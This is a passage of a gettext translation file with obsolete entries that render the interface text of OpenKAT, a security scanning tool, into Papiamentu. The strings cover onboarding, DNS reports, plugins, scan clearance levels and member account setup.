overview of the scanned objects, issues \"\n#~ \"found within them and known security risks that the object might be \"\n#~ \"vulnerable to. Each report gives a high overview of the state of the \"\n#~ \"object as well as detailed information on what OpenKAT found and possible \"\n#~ \"solutions.\"\n#~ msgstr \"\"\n#~ \"Rapòrtnan den OpenKAT ta kontene un lista di ophetonan di skan, \"\n#~ \"problemanan haña serka nan i riesgo di siguridat nan ku e opheto por ta \"\n#~ \"vulnerabel na dje. Kada rapòrt ta duna un lista prioritá di e estado di e \"\n#~ \"opheto i tambe informashon detaya di tur loke KAT a enkontra i \"\n#~ \"solushonanan posibel.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT can scan and analyze by using plugins. Each plugin has it's \"\n#~ \"unique skillset and will collect specific data or give specific insights. \"\n#~ \"You manage the plugins within your account which let's OpenKAT know which \"\n#~ \"plugins to run and on which objects or areas.\"\n#~ msgstr \"\"\n#~ \"OpenKAT por skan i analisá dor di huza plugins. Kada plugin tin nan mas \"\n#~ \"sèt di skills uniko i lo kolekta data spesifiko of duna mas informashon \"\n#~ \"spesifiko. Bo ta maneha plugins den bo account ku ta laga OpenKAT sa kwa \"\n#~ \"plugins mester huza riba kwa opheto òf areanan.\"\n\n#~ msgid \"Generating a report\"\n#~ msgstr \"Generándo un rapport\"\n\n#~ msgid \"\"\n#~ \"When you choose a report type OpenKAT will guide you through the setup. \"\n#~ \"OpenKAT will ask the necessary questions based on the input the report \"\n#~ \"needs, as well as asks for permission to run plugins that you haven’t \"\n#~ \"enabled yet but are needed to collect or analyze the data.\"\n#~ msgstr \"\"\n#~ \"Ora bo selektá un tipo di informe, OpenKAT lo guia bo den e ajuste. \"\n#~ \"OpenKAT lo hasi e preguntanan necesario basá riba e entrada ku e informe \"\n#~ \"ta nesesitá, tambe lo pidi permiso pa eksekutá plug-innan ku ainda bo no \"\n#~ \"a habilidá, pero ku ta nesesario pa kolektá òf analisá e datonan.\"\n\n#~ msgid \"\"\n#~ \"You can also choose to look at the collected data directly or generate \"\n#~ \"your own report by selecting and running plugins on objects of your \"\n#~ \"choice. OpenKAT will present the results.\"\n#~ msgstr \"\"\n#~ \"Bo por tambe skohé pa mira e data kolekta direktamente òf genera bo mes \"\n#~ \"rapòrt dor di selekta i start plugins riba ophetonan si bo eskoho. \"\n#~ \"OpenKAT lo presentabu ku e resultadonan.\"\n\n#~ msgid \"Permission\"\n#~ msgstr \"Permiso Nenga\"\n\n#~ msgid \"\"\n#~ \"Plugins can be provided by OpenKAT but they can also come from the \"\n#~ \"community. Before a plugin can run, you need to give it permission by \"\n#~ \"enabling it.\"\n#~ msgstr \"\"\n#~ \"Plugins ta bin di OpenKAT pero nan tambe por bini dor di e komunidát. \"\n#~ \"Promé un plugin por wordu huza, bo mester dunele pèrmiso dor di activé\"\n\n#~ msgid \"\"\n#~ \"When you generate a report. OpenKAT will let you know which plugins it \"\n#~ \"requires or suggests so you can choose to enable them.\"\n#~ msgstr \"\"\n#~ \"Ora bo genera un rapòrt. OpenKAT ta lagabu sa kwa plugins e mester òf \"\n#~ \"duna'bu sugerencias pa skohé kwa pa activá.\"\n\n#~ msgid \"Let's choose a report\"\n#~ msgstr \"Ban skohé un rapòrt\"\n\n#~ msgid \"Choose a report - Type\"\n#~ msgstr \"Skohé un rapòrt - Tipo\"\n\n#~ msgid \"\"\n#~ \"When you start to generate this report. OpenKAT will guide you through \"\n#~ \"the necessary steps.\"\n#~ msgstr \"\"\n#~ \"Ora bo kuminsa generá e rapòrt aki. OpenKAT lo guiá'bu dor di e stapnan \"\n#~ \"necesario.\"\n\n#~ msgid \"Setup scan\"\n#~ msgstr \"Setup skan\"\n\n#~ msgid \"Let OpenKAT know what object to scan\"\n#~ msgstr \"Laga OpenKAT sa kwa opheto e tinku skan\"\n\n#~ msgid \"\"\n#~ \"Plugins scan and analyze objects. OpenKAT needs to know which object(s) \"\n#~ \"you would like to scan and analyze for the DNS-report. So it can tell you \"\n#~ \"which plugins are available for the chosen object.\"\n#~ msgstr \"\"\n#~ \"Plug-innan skan i analisá objektonan. OpenKAT mester sa kua objèkto(s) bo \"\n#~ \"kier skan i analisá pa e informe DNS. Asina ku por bisa bo ku kuál plug-\"\n#~ \"innan ta disponibel pa e objèkto selektá.\"\n\n#~ msgid \"Understanding objects\"\n#~ msgstr \"Kompronde ophetonan\"\n\n#~ msgid \"Creating, adding and editing objects\"\n#~ msgstr \"Kreando, añadiando i editá ophetonan\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view, add and edit objects from the organization’s \"\n#~ \"object page.\"\n#~ msgstr \"\"\n#~ \"Den OpenKAT bo por mira, añadi i editá ophetonan di e organisashon su \"\n#~ \"page di opheto.\"\n\n#~ msgid \"\"\n#~ \"Let’s add an object to scan for the DNS-Report. For this introduction we \"\n#~ \"suggest adding a URL.\"\n#~ msgstr \"\"\n#~ \"Ban añadi un opheto pa skan pa traha e DNS-rapòrt. Pa e introdukshon aki \"\n#~ \"nos ta sugerí añadi un URL.\"\n\n#~ msgid \"Create your first object, a URL by filling out the form below.\"\n#~ msgstr \"Krea bo promé opheto, un URL dor di yena e formulario abou.\"\n\n#~ msgid \"\"\n#~ \"Additional details and examples can be found by pressing on the help \"\n#~ \"button next to the input field.\"\n#~ msgstr \"\"\n#~ \"Detayesnan i ehempelnan adishonal bo por haña dor di primi e help botón \"\n#~ \"banda di e vèld.\"\n\n#~ msgid \"Dependencies\"\n#~ msgstr \"Dependesianan\"\n\n#~ msgid \"\"\n#~ \"The additional objects that OpenKAT created will be added to your object \"\n#~ \"list as separate objects. If OpenKAT can’t add them automatically it will \"\n#~ \"guide you through the process of creating them manually.\"\n#~ msgstr \"\"\n#~ \"E ophetonan adishonal ku OpenKAT á krea lo wordu agregá na e lista di \"\n#~ \"opehto komo ophetonan separá. Si OpenKAT no por agregá esakinan \"\n#~ \"automatikamente e ta guia'bu dor di e processo pa kreanan manualmente.\"\n\n#~ msgid \"\"\n#~ \"Based on the url you provided OpenKAT added the necessary additional \"\n#~ \"objects to create a url object.\"\n#~ msgstr \"\"\n#~ \"Basá riba e URL ku bo a duna, OpenKAT a agrega e ophetonan adishonal \"\n#~ \"necesario pa krea un opheto di URL.\"\n\n#~ msgid \"URL\"\n#~ msgstr \"URL\"\n\n#~ msgid \"Path\"\n#~ msgstr \"Routa\"\n\n#~ msgid \"Hostname\"\n#~ msgstr \"Hostname\"\n\n#~ msgid \"scheme\"\n#~ msgstr \"programa\"\n\n#~ msgid \"Network\"\n#~ msgstr \"Nètwèrk\"\n\n#~ msgid \"Start scanning\"\n#~ msgstr \"Start skan\"\n\n#~ msgid \"OpenKAT Introduction\"\n#~ msgstr \"OpenKAT Introdukshon\"\n\n#~ msgid \"Setup scan - OOI clearance for\"\n#~ msgstr \"Sètup skan- OOI autorisashon pa\"\n\n#~ msgid \"\"\n#~ \"Some scans are lightweight while others might be a bit more aggressive \"\n#~ \"with their scanning. OpenKAT requires you to set a clearance level for \"\n#~ \"each object to prevent you from unintentionally running aggressive scans. \"\n#~ \"For example you might have the right to run any type of scan on your own \"\n#~ \"server but you probably don’t have the right to do so for objects owned \"\n#~ \"by other people of companies.\"\n#~ msgstr \"\"\n#~ \"Algun skan ta ligero, i otro por ta un tiki mas agresivo den nan skaneo. \"\n#~ \"OpenKAT ta requeri bo pa ajustá un nivel di autorisashon pa kada opheto \"\n#~ \"pa evitá ku b'a sende skan agresivo sin intenshón. Por ehèmpel, bo por \"\n#~ \"tin e derechi pa skan kualkier tipo di opheto riba bo propio server, pero \"\n#~ \"probabelmente bo no tin e derechi pa hasi meskos ku ophetonan ku ta \"\n#~ \"pertenese na otro personanan of kompanianan.\"\n\n#~ msgid \"How to know required clearance level\"\n#~ msgstr \"Kon pa sa nivél di autorisashon requerí\"\n\n#~ msgid \"\"\n#~ \"Each plugin that scans will have a scan intensity score. The intensity of \"\n#~ \"the scan must be equal to or below the clearance level you set for your \"\n#~ \"object. If the scan has an intensity level that is too high, OpenKAT will \"\n#~ \"notify you before running it. Visually clearance levels and intensity \"\n#~ \"scores are indicated with little cat paws.\"\n#~ msgstr \"\"\n#~ \"Kada plug-in ku skan ta tin un puntu di intensidat di skaneo. E \"\n#~ \"intensidat di e skaneo mester ta igual òf mas abou ku e nivel di \"\n#~ \"autorisashon ku bo a ajustá pa bo opheto. Si e skaneo tin un nivel di \"\n#~ \"intensidat ku ta hopi haltu, OpenKAT lo notifiká bo promé di eksekutá e \"\n#~ \"skaneo. Visualmente, nivelnan di autorisashon i punto di intensidat ta \"\n#~ \"indiká ku patanan di pushi.\"\n\n#~ msgid \"\"\n#~ \"This scan has a scan intensity score of 1, requiring a level 1 clearance \"\n#~ \"level to be run. This means that the scan does not touch the object \"\n#~ \"itself, but only searches for information about the object.\"\n#~ msgstr \"\"\n#~ \"E skan tin un score di nivél di intensidat di 1, ku ta requerí nivél 1 di \"\n#~ \"autorisashon pa start. Esaki ta nifika ku e skan no ta mishi ku e opheto \"\n#~ \"riba su mes, pero solamente ta buska informashon tokante e opheto.\"\n\n#~ msgid \"\"\n#~ \"An example of a more aggressive scan. Which has a scan intensity score of \"\n#~ \"3. Meaning it requires at least a level 3 clearance level to be set on \"\n#~ \"your object.\"\n#~ msgstr \"\"\n#~ \"Un ehèmpel di un skaneo mas agresivo. Ku tin un puntu di intensidat di \"\n#~ \"skaneo di 3. Esaki ta nifiká ku mester tin por lo menos un nivel di \"\n#~ \"autorisashon di 3 pa wordu ajustá riba bo opheto.\"\n\n#~ msgid \"Acknowledge clearance level\"\n#~ msgstr \"Rekonosé nivel di autorisashon\"\n\n#~ msgid \"Setup scan - Set clearance level for\"\n#~ msgstr \"Sètup skan- Pone nivel di autorisashon pa\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"After creating a new object OpenKAT will ask you to set a clearance \"\n#~ \"level. On the object detail page you can always change the clearance \"\n#~ \"level. For the onboarding we will suggest to set the clearance level to \"\n#~ \"L%(dns_report_least_clearance_level)s.\"\n#~ msgstr \"\"\n#~ \"Despues di krea un opheto nobo, OpenKAT lo puntra bo pa pone un nivel di \"\n#~ \"autorisashon. Na e página di detaye di e opheto, bo por kambia e nivel di \"\n#~ \"autorisashon semper. Pa e proceso di onboarding nos lo sugeri pa pone e \"\n#~ \"nivel di autorisashon na L%(dns_report_least_clearance_level)s.\"\n\n#~ msgid \"Setup scan - Enable plugins\"\n#~ msgstr \"Configurá skan - Aktivá plugins\"\n\n#~ msgid \"Plugins introduction\"\n#~ msgstr \"Plugins su introduskhon\"\n\n#~ msgid \"\"\n#~ \"OpenKAT uses plugins to scan, check and analyze. Each plugin will bring a \"\n#~ \"specific skillset that will help to generate your report. There are three \"\n#~ \"types of plugins.\"\n#~ msgstr \"\"\n#~ \"OpenKAT ta huza plugins pa scan, check i analisá. Kada plugin ta trese un \"\n#~ \"abilidát specifikó ku lo juda pa generá bo rapòrt. Tin tres tipo di \"\n#~ \"plugins.\"\n\n#~ msgid \"\"\n#~ \"Scan objects for data. Each boefje has a scan intensity score to prevent \"\n#~ \"invasive scanning on objects where you don’t have the clearance to do so.\"\n#~ msgstr \"\"\n#~ \"Skèn ophetonan pa data. Kada boefje tin un intesidát score pa skan pa \"\n#~ \"prevení scannan invasivo riba opheto kaminda bo no tin autorisashon pa \"\n#~ \"hasi esaki.\"\n\n#~ msgid \"\"\n#~ \"Check the data for specific objects and add these object to your object \"\n#~ \"list.\"\n#~ msgstr \"\"\n#~ \"Chèk e data pa ophetonan specifikó i añadi e ophetonan aki na bo lista di \"\n#~ \"opheto.\"\n\n#~ msgid \"Analyze the available data to come to insights and conclusions.\"\n#~ msgstr \"\"\n#~ \"Analisá e data disponibel pa yega na konklushonnan i perspectivanan.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT will be able to generate a full report when all the required and \"\n#~ \"suggested plugins are enabled. If you choose not to give a plugin \"\n#~ \"permission to run, the data that plugin would collect or produce will be \"\n#~ \"left out of the report which will then be generated based on the \"\n#~ \"available data collected by the enabled plugins. Below are the suggested \"\n#~ \"and required plugins for this report.\"\n#~ msgstr \"\"\n#~ \"OpenKAT ta dispuesto pa generá un fúl rapòrt ora tur e plugins nan \"\n#~ \"requerí i sugerá ta aktivá. Si bo skohé pa no duna un plugin pèrmiso  pa \"\n#~ \"start, e data ku e plugin lo mester kolektá òf produsí lo wordu saka for \"\n#~ \"di e rapòrt ku lo generá a base di e data ku tin disponibel kolektá pa e \"\n#~ \"plugins aktivo. Abou bo por mira e plugins nan ku ta requerí pa e rapòrt \"\n#~ \"aki.\"\n\n#~ msgid \"Let’s setup your scan by enabling the plugins of your choice below.\"\n#~ msgstr \"\"\n#~ \"Laga nos ban setup e skan dor di aktivá e plugins di bo eskoho abou.\"\n\n#~ msgid \"\"\n#~ \"The enabled boefjes are collecting the data needed to generate the DNS-\"\n#~ \"report. This may take some time based on the type of scans and the number \"\n#~ \"of objects found. For the current scan we expect boefjes to take about 3 \"\n#~ \"minutes.\"\n#~ msgstr \"\"\n#~ \"E Boefjes nan aktivá ta bezig ta kolektando e data necesario pa generá e \"\n#~ \"DNS-rapòrt. Esaki ta bai tuma tempu a base di e tipo di scannan i e \"\n#~ \"kantidát di ophetonan enkontrá.\"\n\n#~ msgid \"\"\n#~ \"During this introduction we ask you to wait till the scan is ready. After \"\n#~ \"which you can view the report.\"\n#~ msgstr \"\"\n#~ \"Durante e introdukshon aki nos ta pidibu pa warda te ora e skan kaba. \"\n#~ \"Despues bo por mira e rapòrt.\"\n\n#~ msgid \"\"\n#~ \"After the onboarding, boefjes run in the background. This enables you to \"\n#~ \"use OpenKAT in the meantime without waiting for scans to finish. When you \"\n#~ \"would like to see the status of a scan you can open the \\\"tasks\\\" page.\"\n#~ msgstr \"\"\n#~ \"Despues di e onboarding, boefjes nan ta sigi den background. Esaki ta \"\n#~ \"pone ku bo por uza OpenKAT mientras tantu sin mester warda te ora e \"\n#~ \"skannan kaba. Kaminda bo lo por ke mira e status di un skan bo por habri \"\n#~ \"e pagina di \\\"tarea\\\". \"\n\n#~ msgid \"Open my DNS-report\"\n#~ msgstr \"Habri mi DNS-rapòrt\"\n\n#~ msgid \"1: Introduction\"\n#~ msgstr \"Introdukshon\"\n\n#~ msgid \"2: Choose a report\"\n#~ msgstr \"Skohé un rapòrt\"\n\n#~ msgid \"3: Setup scan\"\n#~ msgstr \"Setup scan\"\n\n#~ msgid \"4: Open report\"\n#~ msgstr \"Habri rapòrt\"\n\n#~ msgid \"3: Indemnification\"\n#~ msgstr \"3: Indemnizashon\"\n\n#~ msgid \"4: Account setup\"\n#~ msgstr \"4: Account setup\"\n\n#~ msgid \"OpenKAT Setup\"\n#~ msgstr \"OpenKAT Setup\"\n\n#, python-brace-format\n#~ msgid \"{name} successfully created.\"\n#~ msgstr \"{name} a wòrdu krea ku èksito.\"\n\n#~ msgid \"The name of the organisation\"\n#~ msgstr \"E nòmber di e organisashon\"\n\n#~ msgid \"\"\n#~ \"A slug containing only lower-case unicode letters, numbers, hyphens or \"\n#~ \"underscores that will be used in URLs and paths\"\n#~ msgstr \"\"\n#~ \"Un slug ta kontene solamente lower-case unicode letras, numbernan, \"\n#~ \"hyphens òf underscores ku lo wordu huza den URLs i paths\"\n\n#~ msgid \"\"\n#~ \"Before you're able to add assets to OpenKAT and to assign clearance \"\n#~ \"levels, you have to give indemnification on the organization and declare \"\n#~ \"that you as a person can be held accountable.\"\n#~ msgstr \"\"\n#~ \"Prome ku bo por añadi propiedatnan na OpenKAT i pone nivelnan di \"\n#~ \"authorisashon, bo mester duna indemnizashon na e organisashon i deklara \"\n#~ \"ku abo komo persona por wordu pone responsabel.\"\n\n#~ msgid \"Register an indemnification\"\n#~ msgstr \"Registrá un indemnizashon\"\n\n#~ msgid \"Add Finding\"\n#~ msgstr \"Añadí Diskubrimentu\"\n\n#~ msgid \"Mute Findings\"\n#~ msgstr \"Muta Diskubrimentu\"\n\n#~ msgid \"Mute Finding\"\n#~ msgstr \"Muta diskubrimentu\"\n\n#~ msgid \"Account Type\"\n#~ msgstr \"Tipo di account\"\n\n#~ msgid \"Every member of OpenKAT must be part of an account type.\"\n#~ msgstr \"Kada miembro di OpenKAT mester ta parti di un tipo di kuenta.\"\n\n#~ msgid \"Source OOI\"\n#~ msgstr \"Orígen OOI\"\n\n#~ msgid \"Manual creation\"\n#~ msgstr \"Kreashon manual\"\n\n#~ msgid \" member account setup\"\n#~ msgstr \" konfigurashon di kuenta di miembro\"\n\n#~ msgid \"Member details\"\n#~ msgstr \"Detayes di miembro\"\n\n#~ msgid \"Member account type setup\"\n#~ msgstr \"Konfigurashon di tipo di kuenta di miembro\"\n\n#~ msgid \"Choose an account type for this new member.\"\n#~ msgstr \"Selekshoná un tipo di kuenta pa e miembro nobo aki.\"\n\n#~ msgid \"Account type details\"\n#~ msgstr \"Detayenan di tipo di kuenta\"\n\n#~ msgid \"Upload a csv file with members for organisation\"\n#~ msgstr \"Subi un archivo csv ku miembronan pa e organisashon\"\n\n#~ msgid \"Download the template\"\n#~ msgstr \"Download e template\"\n\n#~ msgid \"or create a csv file with the following criteria\"\n#~ msgstr \"òf krea un archivo csv ku e kriterionan sigiente\"\n\n#~ msgid \"Shown status types\"\n#~ msgstr \"Muestra di tiponan di status\"\n\n#~ msgid \"Blocked status\"\n#~ msgstr \"Status blòkiá\"\n\n#~ msgid \"Type select\"\n#~ msgstr \"Selektá tipo\"\n\n#~ msgid \"Add Account Type\"\n#~ msgstr \"Añadi Tipo di account\"\n\n#~ msgid \"Add Member\"\n#~ msgstr \"Añadí miembro\"\n\n#~ msgid \"\"\n#~ \"An overview of the top 10 most severe findings OpenKAT found. Check the \"\n#~ \"detail section for additional severity information.\"\n#~ msgstr \"\"\n#~ \"Un bista general di e 10 diskubrimentunan mas serio ku OpenKAT a haña. \"\n#~ \"Chèk den seccion di detaye pa informashon adishonal tokante severidat.\"\n\n#~ msgid \"Top 10 most severe Findings\"\n#~ msgstr \"Top 10 di e diskubrimentunan mas serio.\"\n\n#~ msgid \"Showing \"\n#~ msgstr \"Mustra \"\n\n#~ msgid \"findings\"\n#~ msgstr \"diskubrimentunan\"\n\n#~ msgid \"Finding type:\"\n#~ msgstr \"Tipo di diskubrimentu:\"\n\n#~ msgid \"OOI type:\"\n#~ msgstr \"Tipo di opheto\"\n\n#~ msgid \"Source OOI:\"\n#~ msgstr \"Orígen OOI:\"\n\n#~ msgid \"KAT-alogus Settings\"\n#~ msgstr \"KAT-alogus Settings\"\n\n#~ msgid \"\"\n#~ \"There are currently no settings defined. Add settings at plugin detail \"\n#~ \"page.\"\n#~ msgstr \"\"\n#~ \"Na e momentonan aki no tin settings pone. Añadi settings na e página \"\n#~ \"detaya di plugin.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"These are the findings of a OpenKAT-analysis (%(observed_at)s). Click a \"\n#~ \"finding for more detailed information about the issue, its origin, \"\n#~ \"severity and possible solutions.\"\n#~ msgstr \"\"\n#~ \"Esakinan ta e resultadonan di un OpenKAT-analysis riba %(observed_at)s. \"\n#~ \"Click un resultadopa mas informashon detayá tokante e problema, su \"\n#~ \"orígen, severidat i posibel solushonnan.\"\n\n#~ msgid \"DNS Tree\"\n#~ msgstr \"DNS Mapa\"\n\n#~ msgid \"Total findings:\"\n#~ msgstr \"Totál diskubrimentu:\"\n\n#~ msgid \"An overview of\"\n#~ msgstr \"Resúmen di resultado\"\n\n#~ msgid \"object type\"\n#~ msgstr \"tipo di opheto\"\n\n#~ msgid \"\"\n#~ \"This shows general information and its related objects. It also gives the \"\n#~ \"possibility to add additional related objects, or to scan for them.\"\n#~ msgstr \"\"\n#~ \"Esaki ta mustra informashon general i e ophetonan relashoná. Tambe ta \"\n#~ \"brinda e posibilidat pa agrega ophetonan relashoná adishonal, òf pa skan \"\n#~ \"pa nan.\"\n\n#~ msgid \"Unique\"\n#~ msgstr \"Úniko\"\n\n#~ msgid \"There are no tasks for boefjes\"\n#~ msgstr \"No tin tareanan pa boefjes\"\n\n#~ msgid \"List of tasks for boefjes\"\n#~ msgstr \"Lista di tareanan pa boefjes\"\n\n#~ msgid \"There are no tasks for normalizers\"\n#~ msgstr \"No tin tareanan pa normalizers\"\n\n#~ msgid \"List of tasks for normalizers\"\n#~ msgstr \"Lista di tareanan pa normalizers\"\n\n#~ msgid \"Your password must contain at least the following:\"\n#~ msgstr \"Bo password mester kontené por lo menos lo siguinte:\"\n\n#~ msgid \" special characters such as: \"\n#~ msgstr \" karakternan speshal manera: \"\n\n#~ msgid \"\"\n#~ \"Failed to get list of findings for organization {}, check server logs for \"\n#~ \"more details.\"\n#~ msgstr \"\"\n#~ \"No por a optené lista di diskubrimentu pa e organisashon {}, kontrolá \"\n#~ \"registro di servidor pa detayenan mas.\"\n\n#~ msgid \"\"\n#~ \"An overview of all (critical) findings OpenKAT found. Check the detail \"\n#~ \"section for additional severity information.\"\n#~ msgstr \"\"\n#~ \"Un relato general di tur diskubrimentu (krítiko) ku OpenKAT a enkontrá. \"\n#~ \"Chèk e sekshon detayá pa informashon addishonal severo.\"\n\n#~ msgid \"Total Findings\"\n#~ msgstr \"Diskubrimentu Totál\"\n\n#~ msgid \" Finding Details\"\n#~ msgstr \"Detayes di diskubrimentu\"\n\n#~ msgid \"Top critical organizations\"\n#~ msgstr \"Top organisashonnan krítiko\"\n\n#~ msgid \"Critical findings\"\n#~ msgstr \"Diskubrimentu Kritiko\"\n\n#~ msgid \"Critical Findings\"\n#~ msgstr \"Diskubrimentu Kritiko\"\n\n#~ msgid \"this field is required\"\n#~ msgstr \"E vèld aki ta obligatorio\"\n\n#~ msgid \"This field is required\"\n#~ msgstr \"E vèld aki ta obligatorio\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            You don't have any clearance to scan objects.\"\n#~ \"<br>\\n\"\n#~ \"                            Get in contact with the admin to give you the \"\n#~ \"necessary clearance level.\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \" Bo no tin ningun nivel di autorisashon pa skan ophetonan.<br>\\n\"\n#~ \" Tuma kontakto ku e administradó pa duna bo e nivel di autorisashon \"\n#~ \"nesesario.\\n\"\n#~ \" \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"        Use the form below to clone the settings from \"\n#~ \"<i>%(current_organization)s</i> to the selected organization.\\n\"\n#~ \"        This includes both the KAT-alogus settings as well as enabled and \"\n#~ \"disabled plugins.\\n\"\n#~ \"      \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \" Uza e formulario abou pa kopia e konfigurashon di \"\n#~ \"<i>%(current_organization)s</i> pa e organisashon selektá.\\n\"\n#~ \" Esaki ta inkluí tanto e konfigurashonnan di KAT-alogus manera tambe e \"\n#~ \"plug-innan aktivá i desaktivá.\\n\"\n#~ \"      \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Plugin available\\n\"\n#~ \"                        \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                            Plugins available\\n\"\n#~ \"                        \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                        Plug-in disponibel\\n\"\n#~ \"                        \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                        Plug-ins disponibel\\n\"\n#~ \"                      \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Add setting\\n\"\n#~ \"          \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"            Add settings\\n\"\n#~ \"          \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"            Añadi configurashon\\n\"\n#~ \"          \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"            Añadi configurashonnan\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Setting\\n\"\n#~ \"          \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"            Settings\\n\"\n#~ \"          \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"            Configurashon\\n\"\n#~ \"          \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"            Configurashonnan\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                  Add setting and enable boefje\\n\"\n#~ \"                \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                  Add settings and enable boefje\\n\"\n#~ \"                \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                        Pone setting i sende boefje\\n\"\n#~ \"                        \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                        Pone settings i sende boefje\\n\"\n#~ \"                      \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    OpenKAT has a permission system that allows \"\n#~ \"administrators to\\n\"\n#~ \"                    configure which users can set a certain clearance \"\n#~ \"level. The will make sure\\n\"\n#~ \"                    that only users that are trusted can start the more \"\n#~ \"aggressive scans.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"OpenKAT tin un sistema di permiso ku ta laga administratornan\\n\"\n#~ \"configure kua usuarionan por pone un nivel di autorisashon determiná. \"\n#~ \"Esaki lo segurá\\n\"\n#~ \"ku solamente usuarionan ku ta konfiable por inisiá e skaneonan mas \"\n#~ \"agresivo.\\n\"\n#~ \" \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    Before a member is granted the ability to set \"\n#~ \"clearance levels on an object,\\n\"\n#~ \"                    they must first acknowledge and accept the clearance \"\n#~ \"level set by the administrators.\\n\"\n#~ \"                    The maximum scanning level permitted for a member is \"\n#~ \"aligned with the trusted clearance level.\\n\"\n#~ \"                    By acknowledging the trusted clearance level, this \"\n#~ \"member formally agrees to abide by\\n\"\n#~ \"                    this permission and gains the capability to perform \"\n#~ \"scans only up to this trusted clearance level.\\n\"\n#~ \"                    This two-step process ensures that the member \"\n#~ \"operates within authorized boundaries.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"Promé ku un miembro ta otorgá e habilidat pa pone nivelnan di \"\n#~ \"autorisashon riba un opheto,\\n\"\n#~ \"promé nan mester reconosé i aseptá e nivel di autorisashon poni pa e \"\n#~ \"administratornan.\\n\"\n#~ \"E nivel máksimo di skaneo permití pa un miembro ta aliná ku e nivel di \"\n#~ \"autorisashon konfiable.\\n\"\n#~ \"Pa reconosé e nivel di autorisashon konfiable, e miembro aki formalmente \"\n#~ \"ta akordá pa kumpli ku\\n\"\n#~ \"e permiso aki i ta haña e kapasidat pa realizá skaneonan solamente te na \"\n#~ \"e nivel di autorisashon konfiable aki.\\n\"\n#~ \"E proheso di dos pason aki ta garantisá ku e miembro ta operá den \"\n#~ \"fronteranan autorisá.\\n\"\n#~ \" \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                                Unfortunately you cannot continue the \"\n#~ \"onboarding. </br>\\n\"\n#~ \"                                Your administrator has trusted you with a \"\n#~ \"clearance level of <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                                You need at least a clearance level of \"\n#~ \"<strong>L%(dns_report_least_clearance_level)s</strong> to scan \"\n#~ \"<strong>%(ooi)s</strong></br>\\n\"\n#~ \"                                Contact your administrator to receive a \"\n#~ \"higher clearance.\\n\"\n#~ \"                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \" Desafortunadamente bo no por sigui ku e proceso di onboarding. </br>\\n\"\n#~ \" Bo administrator a konfia bo ku un nivel di autorisashon di \"\n#~ \"<strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \" Bo mester tin almenos un nivel di autorisashon di \"\n#~ \"<strong>L%(dns_report_least_clearance_level)s</strong> pa skaneá\\n\"\n#~ \" <strong>%(ooi)s</strong></br>\\n\"\n#~ \" Tuma kontakto ku bo administrator pa risibí un nivel di autorisashon mas \"\n#~ \"haltu.\\n\"\n#~ \" \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Your administrator has trusted you with a \"\n#~ \"clearance level of <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                            You must first accept this clearance level to \"\n#~ \"continue.\\n\"\n#~ \"                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \" Bo administrator a konfia bo ku un nivel di autorisashon di \"\n#~ \"<strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \" Promé bo mester aseptá e nivel di autorisashon aki pa por sigui.\\n\"\n#~ \" \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Accept level L%(tcl)s clearance and \"\n#~ \"responsibility\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"Aseptá nivel di autorisashon L%(tcl)s i responsabilidat\\n\"\n#~ \"                        \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Your administrator has <strong>trusted</\"\n#~ \"strong> you with a clearance level of <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \"                            You have also <strong>acknowledged</strong> \"\n#~ \"to use this clearance level of <strong>L%(acl)s</strong>.\\n\"\n#~ \"                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \" Bo administrator a <strong>konfia</strong> bo ku un nivel di \"\n#~ \"autorisashon di <strong>L%(tcl)s</strong>.</br>\\n\"\n#~ \" Bo tambe a <strong>rekonosé</strong> pa usa e nivel di autorisashon aki \"\n#~ \"di <strong>L%(acl)s</strong>.\\n\"\n#~ \" \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            <strong>Warning:</strong>\\n\"\n#~ \"                            Indemnification is not set for this \"\n#~ \"organization.\\n\"\n#~ \"      